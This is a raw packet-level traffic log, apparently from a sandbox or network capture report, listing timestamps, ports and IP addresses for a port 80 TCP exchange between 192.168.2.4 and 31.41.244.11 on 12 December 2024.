Dec 12, 2024 14:26:25.415214062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.415271997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.415352106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.416006088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.417212963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.417234898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.417321920 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.417321920 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.419512987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.419641018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.419694901 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.421418905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.421551943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.421617031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.423002958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.423074007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.423340082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.424623013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.424645901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.424700975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.424746037 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.511006117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.511110067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.511111021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.511341095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.511878967 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.512034893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.512048960 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.512482882 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.513725042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.513777971 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.513866901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.514139891 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.515501022 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.515515089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.515976906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.517071962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.517260075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.517278910 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.517304897 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.518871069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.519025087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.519140005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.520458937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.520581961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.520813942 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.522097111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.522146940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.522288084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.522288084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.523791075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.523948908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.524329901 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.525338888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.525577068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.525693893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.526957035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.527086973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.527337074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.528548002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.528625011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.528951883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.530184031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.530273914 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.530353069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.531737089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.531771898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.531771898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.531802893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.531909943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.533250093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.533315897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.533339024 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.533384085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.534800053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.534905910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.534961939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.534961939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.536294937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.536407948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.536468983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.537765026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.537867069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.538305998 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.539284945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.539402008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.539591074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.540787935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.540877104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.541079044 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.542412043 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.542440891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.542515039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.544074059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.544092894 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.544441938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.544441938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.545185089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.545356989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.545660973 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.546535969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.546643019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.546952009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.547995090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.548069954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.548125029 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.549345016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.549462080 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.549797058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.550831079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.551000118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.551310062 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.552208900 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.552285910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.552301884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.552301884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.552323103 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.553555012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.553642035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.553683996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.553683996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.555022001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.555085897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.555107117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.555139065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.556394100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.556580067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.556622982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.557715893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.557828903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.557969093 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.559109926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.559180021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.559340000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.560513973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.560619116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.560674906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.561965942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.562046051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.562160015 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.563533068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.563596010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.563604116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.564003944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.565009117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.565176964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.565182924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.565409899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.566289902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.566392899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.566409111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.566447973 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.567739010 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.567811966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.567946911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.569073915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.569199085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.569200039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.570343018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.570441008 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.570470095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.571727991 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.571801901 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.571882963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.572180986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.573338032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.573400974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.573407888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.573466063 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.574604988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.574678898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.574701071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.574734926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.575918913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.576065063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.576212883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.577306986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.577419996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.577425003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.578783989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.578870058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.578885078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.579930067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.580111980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.580229998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.580384970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.581521988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.581669092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.581792116 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.583029985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.583174944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.583246946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.584352970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.584424019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.584700108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.584983110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.585684061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.585788965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.585841894 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.587096930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.587241888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.587333918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.588874102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.588959932 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.703131914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.703299999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.703399897 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.703495979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.703751087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.703803062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.703808069 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.703845978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.704835892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.705020905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.705179930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.706013918 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.706110001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.706227064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.707091093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.707216024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.707338095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.708189964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.708203077 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.708244085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.708348036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.709331989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.709498882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.709594965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.710355043 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.710515022 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.710911989 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.711479902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.711606026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.711627960 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.712055922 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.712554932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.712694883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.712749958 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.713695049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.713746071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.714451075 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.714787006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.714854956 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.714889050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.715853930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.715926886 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.715956926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.716859102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.716912031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.716979980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.717055082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.717972040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.718056917 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.718067884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.719048023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.719098091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.719119072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.719798088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.720140934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.720264912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.720320940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.721256018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.721354008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.721481085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.722347021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.722392082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.722480059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.723402023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.723470926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.723498106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.724273920 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.724550009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.724754095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.724834919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.726056099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.726116896 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.726150990 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.726787090 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.727185965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.727237940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.727272034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.727325916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.728346109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.728379011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.728449106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.729623079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.729712963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.729772091 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.730590105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.730642080 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.730694056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.731713057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.731874943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.731993914 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.732007980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.732055902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.733021975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.733072996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.733092070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.733151913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.734225035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.734287977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.734401941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.735125065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.735177994 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.735219002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.736095905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.736119032 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.736129045 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.736152887 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.736169100 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.737047911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.737169027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.737231016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.738301039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.738315105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.738379955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.739145994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.739326000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.739336014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.739983082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.740045071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.740111113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.740883112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.740945101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.740966082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.741002083 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.741851091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.741950989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.742010117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.742896080 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.742979050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.743102074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.743940115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.744009972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.744066954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.744637012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.745074987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:25.745131016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:25.745157957 CET	80	49801	31.41.244.11	192.168.2.4
